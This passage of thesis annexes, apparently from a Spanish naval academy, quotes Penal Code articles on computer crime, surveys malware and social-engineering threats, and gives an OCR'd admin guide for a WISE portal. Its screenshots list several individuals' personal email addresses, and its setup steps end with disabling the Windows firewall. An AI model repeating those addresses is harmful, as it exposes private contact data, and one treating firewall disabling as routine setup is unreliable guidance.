en el articulo 198 de este Cddigo, ni cuando la comision del delito afecte a los intereses generales o a
una pluralidad de personas.

3.- El perddn del ofendido o de su representante legal, en su caso, extingue la accién penal o la pena
impuesta, sin perjuicio de lo dispuesto en el segundo parrafo del nimero 4° del articulo 130.

« Articulo 211

La calumnia y la injuria se reputaran hechas con publicidad cuando se propaguen por medio de la
imprenta, la radiodifusién o por cualquier otro medio de eficacia semejante.

« Articulo 212

En los casos a los que se refiere el articulo anterior, sera responsable civil solidaria la persona fisica o
juridica propietaria del medio informativo a traves del cual se haya propagado la calumnia o injuria.

» Articulo 238

Son reos del delito de robo con fuerza en las cosas los que ejecuten el hecho cuando concurra alguna
de las circunstancias siguientes:

1°.- Escalamiento.

2°.- Rompimiento de pared, techo o suelo, o fractura de puerta o ventana.

3°.- Fractura de armarios, arcas u otra clase de muebles u objetos cerrados o sellados, o forzamiento de
sus cerraduras o descubrimiento de sus claves para sustraer su contenido, sea en el lugar del robo o
fuera del mismo.

4°.- Uso de llaves falsas.

5°.- Inutilizacion de sistemas especificos de alarma o guarda.

e Articulo 239

Se consideraran llaves falsas:

1°.- Las ganzuas u otros instrumentos analogos.

2°.- Las llaves legitimas perdidas por el propietario u obtenidas por un medio que constituya infraccion
penal.

3°.- Cualesquiera otras que no sean las destinadas por el propietario para abrir la cerradura violentada
por el reo.
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A los efectos del presente articulo, se consideran llaves las tarjetas, magnéticas o perforadas, y los
mandos o instrumentos de apertura a distancia.

« Articulo 248

1.- Cometen estafa los que, con animo de lucro, utilizaren engafio bastante para producir error en otro,
induciéndolo a realizar un acto de disposicion en perjuicio propio o ajeno.

2.- También se consideran reos de estafa los que, con &nimo de lucro, y valiéndose de alguna
manipulacion informatica o artificio semejante consigan la transferencia no consentida de cualquier
activo patrimonial en perjuicio de tercero.

» Articulo 255

Sera castigado con la pena de multa de tres a doce meses el que cometiere defraudacion por valor
superior a cincuenta mil pesetas, utilizando energia eléctrica, gas, agua, telecomunicaciones u otro
elemento, energia o fluido ajenos, por alguno de los medios siguientes:

1°.- Valiéndose de mecanismos instalados para realizar la defraudacion.

2°.- Alterando maliciosamente las indicaciones o aparatos contadores.

3°.- Empleando cualesquiera otros medios clandestinos.

e Articulo 256

El que hiciere uso de cualquier equipo terminal de telecomunicacion, sin consentimiento de su titular,
ocasionando a éste un perjuicio superior a cincuenta mil pesetas, seréd castigado con la pena de multa
de tres a doce meses.

e Articulo 263

El que causare dafios en propiedad ajena no comprendidos en otros Titulos de este Codigo, sera
castigado con la pena de multa de seis a veinticuatro meses, atendidas la condicién econémica de la
victima y la cuantia del dafio, si éste excediera de cincuenta mil pesetas.

e Articulo 264

1.- Sera castigado con la pena de prision de uno a tres afios y multa de doce a veinticuatro meses el que
causare dafios expresados en el articulo anterior, si concurriera alguno de los supuestos siguientes:

1°- Que se realicen para impedir el libre ejercicio de la autoridad o en venganza de sus
determinaciones, bien se cometiere el delito contra funcionarios publicos, bien contra particulares que,
como testigos o de cualquier otra manera, hayan contribuido o pueden contribuir a la ejecucion o
aplicacion de las Leyes o disposiciones generales.

2°.- Que se cause por cualquier medio infeccién o contagio de ganado.

3°.- Que se empleen sustancias venenosas 0 corrosivas.

4° - Que afecten a bienes de dominio o uso publico o comunal.

5°.- Que arruinen al perjudicado o se le coloque en grave situacion economica.

2.- La misma pena se impondra al que por cualquier medio destruya, altere, inutilice o de cualquier
otro modo dafie los datos, programas o documentos electronicos ajenos contenidos en redes, soportes o
sistemas informaticos.
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« Articulo 270

Sera castigado con la pena de prision de seis meses a dos afios o de multa de seis a veinticuatro meses
quien, con animo de lucro y en perjuicio de tercero, reproduzca, plagie, distribuya o comunique
publicamente, en todo o en parte, una obra literaria, artistica o cientifica, o su transformacion,
interpretacion o ejecucion artistica fijada en cualquier tipo de soporte comunicada a través de cualquier
medio, sin la autorizacion de los titulares de los correspondientes derechos de propiedad intelectual o
de sus cesionarios.

La misma pena se impondrd a quien intencionadamente importe, exporte o almacene ejemplares de
dichas obras o producciones o ejecuciones sin la referida autorizacion. Sera castigada también con la
misma pena la fabricacion, puesta en circulacion y tenencia de cualquier medio especificamente
destinada a facilitar la supresion no autorizada o la neutralizacion de cualquier dispositivo técnico que
se haya utilizado para proteger programas de ordenador.

» Articulo 278

1.- El que, para descubrir un secreto de empresa se apoderare por cualquier medio de datos,
documentos escritos o electronicos, soportes informaticos u otros objetos que se refieran al mismo, o
empleare alguno de los medios o instrumentos sefialados en el apartado 1 del articulo 197, seré
castigado con la pena de prision de dos a cuatro afios y multa de doce a veinticuatro meses.

2.- Se impondré la pena de prision de tres a cinco afios y multa de doce a veinticuatro meses si se
difundieren, revelaren o cedieren a terceros los secretos descubiertos.

3.- Lo dispuesto en el presente articulo se entendera sin perjuicio de las penas que pudieran
corresponder por el apoderamiento o destruccién de los soportes informaticos.

e Articulo 400

La fabricacion o tenencia de Utiles, materiales, instrumentos, sustancias, maquinas, programas de
ordenador o aparatos, especificamente destinados a la comision de los delitos descritos en los capitulos
anteriores, se castigaran con la pena sefialada en cada caso para los autores.

» Articulo 536

La autoridad, funcionario publico o agente de éstos que, mediando causa por delito, interceptare las
telecomunicaciones o utilizare artificios técnicos de escuchas, transmision, grabacion o reproduccion
del sonido, de la imagen o de cualquier otra sefial de comunicacién, con violacion de las garantias
constitucionales o legales, incurrira en la pena de inhabilitacion especial para empleo o cargo publico
de dos a seis afios.

Si divulgare o revelare la informacién obtenida, se impondran las penas de inhabilitacion especial, en
su mitad superior y, ademas, la de multa de seis a dieciocho meses.
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ANEXO Il: AMENAZAS A LOS SISTEMAS INFORMATICOS

A medida que los sistemas de informacidén son mas complejos y almacenan un mayor numero de
datos, se ponen de manifiesto nuevas amenazas y puntos vulnerables. Queda clara la necesidad de
aplicar herramientas para la proteccion de la informacidon, pero no es sencillo concretar qué se debe
proteger. Todos los elementos que constituyen los sistemas informaticos, las personas que hacen uso
de ellos e incluso, su privacidad, son vulnerables.

Anexo I1.1 Malware

Normalmente, el malware se clasifica dentro de dos grandes grupos, tal y como se muestra en la
Tabla A2-1. Por un lado, aquellos programas o codigos que necesitan ser infiltrados en otro programa
que realice una funcion util para el usuario; o programas con la capacidad de viajar a través de la red,
infectando a equipos, sin la necesidad de un programa que los sustente.

Incrustados en programa Independientes
Puerta Trasera Gusanos
Caballo de Troya Bacterias

Bombas ldgicas

Virus

Tabla A2-1 Clasificacion de los distintos tipos de malware

e Puerta Trasera

Las puertas traseras (Backdoors) son programas informaticos que permiten acceder al sistema sin
tener que pasar por los procedimientos ordinarios de autenticacion. En algunas ocasiones, 1os propios
programadores crean estas puertas, que sirven de pasarela rapida, para la correccién de errores, sobre
todo en las fases de disefio. No obstante, éste no es el caso por el que se clasifican como malware, sino
que generalmente son empleadas por piratas informaticos para acceder al sistema. De esta forma, en
muchas ocasiones, y sin que el usuario se percate, permiten acceder a todo el proceso del equipo,
infectandolo con la instalacion de virus, para proceder al robo de informacion, la ejecucién de
programas o incluso el empleo del ordenador, para que realice ataques de denegacion de servicio [79].

Durante varios afios, se sospechod sobre la involucracion de la NSA en el uso de este tipo de
malware como herramienta de inteligencia para obtener informacion e interceptar el trafico en Internet.
Pues bien, en 2013 fueron revelados a la opinion publica una serie de documentos en los que se
reconocia la labor de recopilacion de inteligencia mediante el uso de puertas traseras y virus. Esta
actividad llevaba siendo realizada por la agencia desde octubre de 2001, poco despues de los atentados
del 11S, y estaba autorizada por el mismisimo George Bush, presidente por aquel entonces de los
EE.UU. Segun fuentes oficiales, el objetivo principal de esta decision era el de detectar y prevenir
ataques terroristas [80].

Este mismo afo, la compafiia de seguridad Symantec descubrié una nueva puerta trasera conocida
como Duuzer [81]. Esta backdoor ha infectado a un gran nimero de empresas, siendo distribuida a
través de campafias spam de correo electronico, dejando a los equipos en manos de ciberdelincuentes.
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e Caballo de Troya

Un caballo de Troya o troyano es un programa caracterizado por engafiar al usuario,
“escondiéndose” dentro de otro programa que realice una funcion util o benigna. El objetivo principal
de este malware suele ser la creacion de una puerta trasera, generando un acceso remoto a la
administracion de los equipos. Existen maltiples tipos de troyanos en funcién de su complejidad y el
fin para el que se emplea.

Trojan Cryptolocker [82] esta considerado como uno de los més peligrosos. Este troyano encripta
el disco duro de los equipos infectados y activa un cronémetro que amenaza con borrar todos los
archivos cuando el contador llega a cero. Esta préctica se conoce como Ransomware y constituye un
secuestro cibernético. Para poder recuperar los datos, el usuario se ve obligado a realizar un pago
econdmico, generalmente mediante bitcoins u otras formas de dinero virtual, que dificultan la
localizacion del delincuente. Hoy en dia no existen herramientas contra este software, el nico remedio
que podemos emplear, es la realizacion de copias de seguridad de los archivos de interés.

En la Figura A2-1 se muestra el porcentaje del empleo de las distintas variantes de malware.
Podemos apreciar que mas de dos tercios del malware que circula por la red se manifiesta en forma de
troyano.

Backdoor 1.89% Spyware 0.08%
Adware 2.27% [ Others 1.18%

Worms 7.7 7%

Viruses 16.82% *

Malware by categories March 16, 2011

Figura A2-1 Grafico de empleo de malware

e Bombas logicas

Estos programas se caracterizan por permanecer inactivos hasta una determinada fecha, o hasta el
momento en que se introduzca un determinado cédigo de activacion, dificultando enormemente su
deteccion. Este tipo de malware de actuacion retardada suele ser empleado por personal interno de la
organizacion, que se encuentre descontento. Su objetivo principal suele ser: destruccion de ficheros,
robo de informacion o posibles ataques de denegacion de servicio.

En diciembre de 2002, un empleado descontento de la empresa UBS PaineWebbe, en Silicon
Valley (California), lleg6 a infectar cerca de mil ordenadores de la sucursal donde trabajaba, con el
objetivo de simular una gran caida en las acciones de la empresa y aprovecharse econémicamente [83].

e Virus

Estos programas malignos tienen como objetivo alterar el funcionamiento del equipo al que
infectan. Sus caracteristicas similares a los virus que infectan a los seres humanos, dan nombre a esta
variante. Presentan capacidad de reproducirse, se transportan desde terminales infectados a otros
terminales “sanos”, creando una copia del virus y ademas se encapsulan dentro de paquetes o
programas ejecutables, pasando inadvertidos hasta que son activados y ya han infectado al sistema.

101



MIGUEL LOPEZ GARAY

Disponen de distintas formas de transmision: a través de memorias externas, como USBs; con la
simple visita de paginas web; descargando software pirata de Internet, mediante correo electrénico,
entre otras.

Los virus pueden afectar tanto al software como al hardware. La eliminacién o modificacion de
programas, el robo de informacion o el mal funcionamiento del sistema, se corresponden con ataques
al software. Por otra parte, existen virus cuya mision consiste en causar dafios en el disco duro,
modificar la memoria BIOS, o incluso quemar el microprocesador de la computadora afectada.

Dentro de los virus se puede distinguir:

e Virus de archivo: se activan al ejecutar un archivo. Normalmente suelen ir introducidos en
archivos con la extension .EXE.

e Virus de sector de arranque (boot): Se instalan en el sistema cuando se inicia desde una
memoria externa (por ejemplo, un USB), infectando a todas las memorias.

¢ Virus Polimorficos: bajo esta denominacion se conoce a los virus que cambian su arquitectura
cada vez que realizan una copia de su codigo. De esta forma dificultan enormemente su
deteccion por los antivirus.

e Retrovirus: normalmente no son dafiinos por si mismos. Su funcion consiste en distraer al
antivirus, camuflando la entrada de virus destructivos.

e Macro Virus: estos virus se instalan en los macros de documentos de Microsoft como Word o
Excel. Son los primeros virus multiplataforma que afectan tanto a PCs como a sistemas
Macintosh.

e Gusanos

El gusano informéatico (worm) es considerado una subclase dentro del virus, con la diferencia de
que son capaces de viajar a través de la red, infectando a un gran nimero de equipos. Para ello se
suelen apoyar en algun archivo como medio de transporte. Su principal caracteristica es que son
capaces de reproducirse, normalmente enviando una copia del gusano a cada uno de nuestros contactos
de e-mail. Este método de propagacion es automatico y no necesita de la accién del usuario.

El problema que suele acarrear es el excesivo consumo de recursos en los ordenadores, o de ancho
de banda en servidores, pudiendo causar incluso el colapso del equipo o la red.

Uno de los gusanos mas famosos y dafiinos es el anagrama de Facebook: W32.Koobface. Este
worm se reproduce a través de perfiles en redes sociales y enlaces a sitios web infectados. Se origina
desde equipos afectados por el gusano, creando una red de zombis o botnets. Ademas, el programa
accede datos sensibles y ejecuta adware (del inglés, advertisement), que consiste en la muestra de
publicidad durante la instalacion de cualquier programa de forma que se generan ingresos en los
anunciados. Ademas el Koobface intenta acceder a los nombres de usuario y contrasefas.

Normalmente se transmite a través de Facebook, llegando a tener consecuencias devastadoras si
logra infectar una red corporativa, siendo capaz de borrar datos o instalar software de forma remota.

e Bacterias

Las bacterias no dafian directamente al sistema. Su Unico objetivo es reproducirse en el equipo
infectado llegando a agotar los recursos de memoria y capacidad de procesador, hasta el punto de
detener el sistema.

Spyware: Keylogger

Un keylogger es un dispositivo que registra toda la informacion que el usuario teclea.
Posteriormente envia esta informacion al atacante. Supone el ejemplo mas conocido de spyware y se
encuentra disponible en distintas versiones. La primera de ellas constituye literalmente otra variante
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del malware, que se distribuye a través de virus o0 gusanos que instalan o ejecutan este programa en el
terminal afectado. Asimismo, se pueden adquirir facil y econdmicamente keylogger fisicos en la web.
Estos se conectan al terminal directamente desde la clavija USB, por lo que el usuario los puede
emplear con gran facilidad.

Anexo I1.11 Spam

El spam, también conocido como “correo basura”, se basa en la recepcion de correos que el
usuario no solicita y que contienen publicidad engafiosa, en la que se promueven distintos productos de
calidad sospechosa.

Suponen un enorme porcentaje del trafico que circula por la red, amenazando a la disponibilidad
de la capacidad de los servidores (actualmente se calcula que entre el 60 y el 80% de los mails son
spam) [84]. Normalmente estos mensajes tienen como remitente una direccion falsa. De esta forma,
resulta muy dificil localizar al verdadero emisor.

El problema que ademas engloban estos correos no deseados es que, en muchas ocasiones,
albergan virus o malware, o contienen enlaces a sitios maliciosos. Con solo la apertura de estos correos
o0 entrando en los enlaces en que se direcciona para la compra de dichos articulos, el usuario puede ver
comprometida la seguridad de su equipo.

Se conocen como spammers a las empresas dedicadas al reenvio de estos correos. Aprovechando
las cadenas de correos, los envian a infinitas cuentas de correo, extraidas de las redes sociales o
mediante el andlisis del trafico en Internet. Los grandes servidores de mensajeria electronica llevan
afios combatiendo este problema mediante el uso de filtros.

Anexo IL111 Ingenieria social

Todas las manifestaciones de malware o técnicas delictivas, anteriormente expuestas, tienen en
comun que precisan de conocimientos informaticos, principalmente en programacion. Pero
paulatinamente, los ataques han evolucionado, de manera que el conocimiento que necesita el atacante
es cada vez inferior al que poseian aquellos primeros hackers en la década de los 90. En este momento
se esta desarrollando una industria del cibercrimen donde se pueden comprar programas por Internet, o
donde aparecen mecanismos que amenazan a la confidencialidad de la informacién del usuario y
demandan un conocimiento nulo (un ejemplo de ello es el keylogger). Surge de esta manera una nueva
rama del hacking denominada: Ingenieria social.

La ingenieria social es una nueva forma de obtener credenciales y cometer delitos cibernéticos que
contrasta con lo expuesto hasta ahora, ya que no se precisan grandes conocimientos cientificos. Como
es bien sabido, un sistema es tan robusto y estable como lo es su eslabdn mas débil y estd méas que
demostrado que, en cualquier sistema de informacion, este eslabdn es el usuario. En grandes
organizaciones o instituciones, esto supone un problema ya que un enorme numero de usuarios se
encuentran conectados permanentemente a los sistemas, a través de cualquier dispositivo y cualquier
ubicacion.

El usuario pasa a ser el objetivo de estas practicas, que normalmente se realizan a través de un
correo electronico o una llamada telefonica. En ellas el malhechor se hace pasar por el banco o algin
organismo Y solicita informacién al cliente para subsanar algun tipo de problema inexistente. En la
mayoria de los casos, el usuario cae en la trampa, entregando sin remordimiento informacién
confidencial al atacante.

Este ataque que, parece extremadamente sencillo a primera vista, tiene una enorme efectividad y
miles de clientes en todo el mundo se han visto afectados por él. Dentro de la ingenieria social
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destacan el phising y la estafa nigeriana. En ambas modalidades se busca la obtencién de informacién
de forma fraudulenta, con la diferencia de que, en la estafa nigeriana (recibe el nombre porque la
mayoria de estos delitos se realizaron en este pais), se le ofrece a la victima un fortuna inexistente, por
la cual y en forma de sefial para recibirla, se solicita cierta cantidad econémica como sefial para poder
acceder aella.

Se suele realizar una clasificacion de las diversas técnicas que se engloban dentro de la ingenieria
social [85]:

e Técnicas pasivas: Estas pueden ser la observacion, directa o mediante el uso de camaras, de lo
que el usuario teclea en un dispositivo. Sin que la persona se percate, puede estar mostrando sus
contrasefias a un tercero.

e Técnicas no presenciales: Las técnicas no presenciales suelen ser llamadas telefonicas en las
que el hacker se hace pasar por nuestro banco y nos solicita nuestros datos para subsanar algun
problema inexistente. También se pueden realizar mediante carta, fax o correo electronico.

e Técnicas presenciales no agresivas: Buscar en la basura correspondencia con datos
personales, la sustraccién de agendas y teléfonos moviles o el seguimiento de personas y
vehiculos, son otras maneras de obtener informacion.

e Meétodos agresivos: El robo de informacion muchas veces se consigue mediante chantaje,
extorsion o presion psicologica. Normalmente se busca obtener informacion sensible para
suplantar la personalidad del individuo en la red u obtener sus tarjetas de crédito.

Los paises miembros de la UE han plantado cara a esta forma de fraude estableciendo medidas
legislativas sancionadoras, que castiguen estas estafas. Asi en 2001, los paises de la Unién firmaron el
Convenio sobre ciberdelincuencia de Budapest [86]. Sin embargo, constantemente hay incidentes de
seguridad. Bases de datos completas con millones de usuarios y contrasefias quedan expuestas. Se debe
sefialar que, cuando alguien efectla un robo de usuarios y contrasefias de un sitio web determinado, en
realidad pone en riesgo a un enorme numero de compaiias. La reutilizacion de cuentas de correo y
contrasefias, que la mayoria de usuarios realizamos, tiene la culpa de ello. Si alguno de los usuarios
robados ha empleado el correo de su empresa y la misma contrasefia, para inscribirse en dicha web
atacada, su empresa puede verse comprometida.

En julio de 2015, el sitio web Ashley Madison, destinado a facilitar la infidelidad de las parejas,
fue atacado. Los asaltantes amenazaron a Ashley Madison con la revelacion completa de los datos a
menos que el servicio fuese cerrado. Un mes después, se publicaron més de 39 millones de cuentas.
Entre los datos comprometidos se encontraban: fechas de nacimiento, direcciones de correo
electrdnico, etnias, géneros, domicilios, nombres, contrasefias, historiales de pago, numeros de
teléfono, preguntas y respuestas de seguridad, las preferencias sexuales, nombres de usuario, actividad
[87].
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ANEXO |1l: GUIA DE USO PARA NUEVOS ADMINISTRADORES

En el presente Anexo se ilustrard el uso del sistema WISE, a modo de familiarizacion gréfica con
el entorno, para aquellos nuevos administradores.

GUIA DE USO WISE

n
'@ Escuela Naval Militar

Gestion de la Info
: o AL N

== Administradores de WI la |
e ~Naval Militar fome

nes de

SINCLAS

Figura A3-1 Presentacién de la guia para uso del gestor WISE

En la Figura A3-2, se muestra el proceso de autenticacion.

r Authentication

a3z 0

Figura A3-2 Autenticacion
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Una vez identificados, en la esquina superior derecha nos aparecera el icono verde que se muestra
en la Figura A3-3 (Login OK). Tras la acreditacion como usuarios, en la esquina superior derecha se
habilita el acceso a la administracion del portal (Figura A3-4).

Figura A3-3 Administracion del portal

odified L
019 1412002 JaN 2016 1412002 14N 2016 NATO SECRET
0 1412047 JAN 2016 1412052 JAN 2016 NATO SECRET
0 1416272 JAN 2016 1416272 14N 2016 NATO SECRET
0 1416262 34N 2016 1416312 JAN 2016 NATO SECRET
0 1416332 34N 2016 1416352 14N 2016 NATO SECRET
0 1416372 34N 2016 1416392 JAN 2016 NATO SECRET
01416422 JAN 2016 1416432 1AN 2016 NATO SECRET
0 1416452 JAN 2016 1416482 JAN 2016 NATO SECRET
01416512 JAN 2016 1418262 1AN 2016 NATO SECRET
0 1418262 JAN 2016 1418462 JAN 2016 NATO SECRET
0 1418262 JAN 2016 1418502 JAN 2016 NATO SECRET
Brefesor da Saguridad Interise 01418202 JAN 2016 1410002 JAN 2016 NATO SECRET

G

O Add Objects Selnct the type of object you would like to Add { |Brief Generator ~]}, then click on

Figura A3-4 Actualizar contenido WISE

En la Figura A3-5 se muestra la disposicion de contenidos de la subweb profesor. Esta disposicion
se relaciona con los objetos WISE empleados.
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m—; uuuuu T TSI T TS T T TS 2O T TOR TS ECRET 7'
(Anl. 2% Enlaces de interes 0 1416282 JAN 2016 1416212 JAN 2016 NATO SECRET sl
V2R 102 Tacos 141 aT Secoer ok
[IAQ B Profesor Informatica 0 1416372 JAN 2016 1416392 JAN 2016 NATO SECRET
OAQ B semanatsa 0 141642Z JAN 2016 1416432 JAN 2016 NATO SECRET
OZ@ B Frrofes res Navales 0 1410452 JAN 2016 1416482 JAN 2016 NATO SECRET
10 B Dpowu 0 1416512 JAN 2016 1418262 JAN 2016 NATO SECRET
AORA B profesor de Inglés 0 1418267 JAN 2016 1418462 JAN 2016 NATO SECRET
s[AQ B Pprofesor de Navegacidn 0 1416282 JAN 2016 1418592 JAN 2016 NATO SECRET szt
s [ AQ B Pprofesor de Seguridad Intarior 0 1418207 JAN 2016 1410002 JAN 2016 NATO SECRET  schmader

Figura A3-5 Disposicion de contenidos en subweb Oficiales y profesores

Para cada subweb se puede seleccionar la presentacion méas adecuada (Figura A3-6), de forma que
las imagenes y las carpetas se sitlen de una forma ordenada e intuitiva, haciendo de nuestro portal un
sitio ameno y ordenado. Igualmente, en la Figura A3-7 se muestra la disposicion de archivos. Estos
deberan situarse de forma que el contenido global de la pagina quede compensado y encuadrado en la
pantalla, dando un aspecto de seriedad.

LS ‘-‘.

resentacion de contenidos

Oficiales y Profesores

E= | Contents | Properties | Import/Export | Page Layout | Content Layout | Access

®

Pane 1 Pane 2 Pane 3

Layout #3

Pane 1 Fane 2 Pane 3

'::‘ Layout #5

Figura A3-6 Presentacion empleada
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L Pamet [  Pamea [  Pame3 [ Widden |

Calendarin Fako Profesores Buiscator

[Cakendar] [Imagalet) {5t Search)
Enlaces 0 interdg Profesor de Inglés Profesor Oficina Técnica
{Container] {Container) {Cantainer)
Document Eacian Profesor [nformatica
{Coniiner) (Contzinar)

P rofesor de Sequridad Inter Frifesor Sersores Navaks
I g [Containar)

Semana [+&
[Container)

Profesor de Navegagion
(Containar)

F Change Content Layout
1. Drag cantant objects to desired pane(s) to achieve the desired layout
2. Clidk on the button to s3ve changes,

Reset Layout Click on the button to resat tha centant layout,

Figura A3-7 Presentacion empleada

El control de acceso (Figura A3-8) se debera configurar dentro de cada subweb. Un punto negativo
que presenta el gestor de contenidos es que no se pueden encuadrar los usuarios dentro de un tipo de
usuario predefinido, sino que, a cada uno, individualmente, se le deberan otorgar los roles en cada
subweb.

Control de Acceso

| Content Layout | Access

Access Permissions

| wser 00 [ moles |
10l | Emailll _____|Site Administrator Uluser [J

abject.

Carlosgval  carloshgdv@gmail.com [l [
Cristiansil kristianir@gmail. com ] N
Gestoso93  gonzalogestoso33@gmail com ] ¥
Guest L] [

Guillerggam guillegilabert L0@gmail. com Ll L
Lantto sofia.n.lantto@gmail.com O =3
Mercarey nerearecarey@gmail.com (] O
pPdodero pdodarovazguez@gmail.com O W
alumno guardiamarina@gmail .com (| [
andrescampg andresitoccamposg@gmail.com ] [
careper carlosarenas11@gmail.com L] [

dotacion dotacionenmi@gmail.com Ll [
amargancy [l ¥
profesor profesorENM@gmail.com O [~
siteadmin lopezgaray@gmail.com 1 ¥

Figura A3-8 Control de Acceso
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Como se muestra en la Figura A3-9, para afadir nuevos usuarios, se deberda acceder a la
configuracion del sitio. Una vez en el meni de configuracion, se accederd a Access (Figura A3-10) y
en la pestafia Add new, se desplegara el formulario para generar un nuevo usuario (Figura A3-11)

ONYOULA HIAS - -~
s an A asan Sl e [ Manlabra de Acovidansmienie o

Figura A3-9 Crear nuevos usuarios (1)

Crear Usuarios

t | Site Map | Undo | Access

T—— OF [T o0 | cmai 1T oo Admintstrator Juzor
= [ # & carlosgval  carloshgdv@gmail.com | |7l
] # & cristiansil  kristianira gmail.com 0 =
A @ Gestosodz g logestosod3@ il.com | ™4
Guest O [}
# & Guillerggam  guillegilabert10@gmail.com | )
O # & Lantte soffa.n.lantto@gmail.com O =
O ﬁ a Nercarey nerearecarey@gmail.com ] [l
] # & pdodero pdederovazquez@gmail.com | |7l
O ﬁa alumna guardiamarina@gmall.com O [
# & andrescampg andresitocamposg@gmail.com | 74
] # & careper carlosarenasll@gmall.com O [l
# & dotacion dotacionenm@gmail_com | ) |
O # & emergency O W r 5]
rofesor profescrEMM@gmail.com ] [ [
| min lopezgaray@gmail.com | ] aonammient enla -

e

Figura A3-10 Crear nuevos usuarios (1)
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Crear Usuarios

Access

!
B botacion User ID Crear usuario @
First Mame INuevo an
Last Name |Usuan’o |Q*
Email Address  |newusser an
Phone Number 6457892 X
Job Title || |°*
Password l @
Validate Password | |° *

Figura A3-11 Formulario para nuevo usuario

En la Figura A3-12, se muestra la organizacion desarrollada en la subwise Alumnos. Esta
disposicion de contenidos sigue la estética general que se suele aplicar en estos gestores donde una
imagen corporativa ocupa la parte central y la informacion se localiza a ambas bandas de dicha
imagen.

. 9 Tooba lacss

DOCUMENTOS DE INTERES

~
'

CALENDARIO 'Y FECHAS Yot \
IMPORTANTES 2 Fotografia, icono... - ASIGNATURAS

CIVILES Y-MILITARES
PRO(:RAMA(_ION .

ACADEMICA

Publicaciones, documentacion de
interés (Circulares, ACP. D-CP_..)

Figura A3-12 Organizacion WISE
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Anexolll.l Configuracion del PC como servidor

El Gltimo paso para el despliegue de nuestro gestor de contenidos es la configuracion del PC como
servidor. Este despliegue ha sido desarrollado en una red local, en el entorno educativo del Centro
Universitario de la Defensa en la Escuela Naval Militar. A continuacion se describiran los pasos
desarrollados para su configuracion.

En primer lugar, debemos configurar la direccion IP del equipo como fija. Para ello se accede al
Centro de Redes y recursos compartidos. Para ello entraremos en: Inicio\Panel de Control\Centro de
Redes y recursos compartidos. A continuacion, como se refleja en la Figura A3-13 accederemos a
Conexion de area local.

x

= :; + Panel de control » Redes elnternet » Centro de redes y recursos compartidos
i iy .

na principal del Panel de

" Ver informacion basica de la red y configurar conexiones

" | = Ver mapa completo
nistrar redes inalambricas U”L-u & @
iar configuracién del « CUD-TOSH Red 3 Internet
ador (Este equipo)
iar configuracién de uso Ver las redes activas Cenectar o desconectar
artido avanzado i
Tipo de acceso: Internet

| Red 3
L. - Grupo Hogar: 2o
. Red doméstica . - B )
- Conexiones: W Conexién de drea local

Cambiar la configuracion de red

'{‘i- Configurar una nueva conexién o red

Configurar una conexién inalambrica, de banda ancha, de acceso telefénico, ad hoc o VPN; o bien

confinurar un enntador nonountn de accecn

Figura A3-13 Captura: Centro de redes y recursos compartidos

Dentro de conexion de érea local, accederemos al menu propiedades (Figura A3-14).

U Estado de Conexién de area local - o~ u
General
Conexion
Conectividad IPv4: Internet
Conectividad IPvé: Sin acceso a Internet
Estado del medio: Habilitado
Duracidn: 00:33:49
Veloddad: 100,0 Mbps
Detalles...
Actividad
Enviados L! Recibidos
Y
ey
Bytes: 2.013.469 78.242.478
e
\_ r/Propiedades _J [ [Fg) Deshabilitar ] [ Diagnosticar ]

Figura A3-14 Captura: Conexion de area local_Propiedades
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A continuacion pulsaremos dos veces sobre Protocolo de Internet version 4 (TCP/IPv4), para
acceder a su configuracion (Figura A3-15). EI menu al que se obtiene acceso permite fijar la direccién
IP. Por lo tanto, antes de configurarla, debemos conocer la direccion IP del equipo. Para ello,
entraremos en Simbolo del Sistema y teclearemos ipconfig. Como muestra la Figura A3-16, el sistema
nos devuelve la IP del ordenador, la de la puerta de enlace y la de la méascara de subred.

4 Propiedades de Conexion de area local liz_

Funciones de red | UUso compartide

Conectar usando:

5_-:" Realtek PCle GEE Family Cortroller

| Corfigurar...
Esta conexidn usa los siguiertes elementaos:

v 1% Clierte para redes Microsoft

Cd @ Programador de paguetes QoS

Cd .@Cumpartir impresoras v archivos para redes Microsoft

i Protocolo de Intemet versian 6 (TCP/IPvE)

=& Cortrolador de E/S del asignador de deteccion de topal...
<& Respondedor de deteccidn de topologias de nivel de v. .

AARLARLARES

Instalar... Propiedades
Descripcidn
Protocolo TCP/IP. Bl protocolo de red de drea extensa

predeterminado que pemite la comunicacion entre varias
redes conectadas entre si.

| Aceptar || Cancelar |

Figura A3-15 Captura: Propiedades de Conexion de area local_ IPv4

B Simbolo del sisterna [ = | = £3
Eztado de los mec}ins. - e e e e e e e medios desconectados
Sufijo DHS especifico para la conexidn. .

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. .

UIncuio- direccion IFUb docal. . - = fTEoW::slas-oond-d3sn-Za08x13
Direccidn IPwd. _ . . . . . . . . . . . . 192 _.168.1.79

Mascara de subred . . . . . . . . . . . . 2552552558

Puerta de enlace predeterminada . . . . .

Adaptador de tinel isatap.{E4n84D4C-258A-4989-8943-A1E3SEBFaA282}:

Estado de los medios. . . . . . . - .« .« . medios desconectados

Sufijo DNS especifico para la conexidn. .

fAdaptador de tinel isatap.{3AE?982E-3124-4896-9F7?N—BAC4F?62B5A8%:

Estado de los met}ius. R T medios desconectados
Sufijo DHS especifico para la conexidn. .

Adaptador de tidnel Teredo Tunneling Pseudo-Interface:

Estado de los medios. . . . . . . - .« .« . medios desconectados

Sufijo DNS especifico para la conexidn. .

C:~Uszers~alumno >

Figura A3-16 Captura: Simbolo del sistema_ipconfig
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Conocidas estas direcciones, procedemos a fijar la direccion del servidor (Figura A3-17). Como
DNS hemos establecido los servidores de dominio de la Universidad de Vigo.

Propiedades: Protocolo de Internet versién 4 (TCP/IPv4) @%
L —n — —

General |

Puede hacer que la configuracion IP se asigne automaticamente sila
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cual es la configuradon IP
apropiada.

() Obtener una direcdidn IP automaticamente

(@) Usar la siguiente direccidn IP:
Direccidn IP: 92.168. 1 .79
Mascara de subred: 255.255.255. 0

Puerta de enlace predeterminada:

Obtener la direccién del servidor DNS automaticamente
(@) Usar las siguientes direcdones de servidor DNS:

Servidor DNS preferido: 193 . 146 . 23 . 86

Servidor DNS alternativo: 193 . 146 . 32 . 228

[ validar configuracidn al salir Opdiones avanzadas. ..

[ Aceptar ][ Cancelar ]

Figura A3-17 Captura: Propiedades_fijar IPv4

El Gltimo paso necesario para que el resto de equipos en red puedan acceder al sistema WISE, sera
desactivar el firewall de Windows. Para ello accederemos a: Panel de control: Sistema y seguridad:

Firewall de Windows. Alli seleccionaremos activar o desactivar Firewall de Windows (Figura
A3-18).

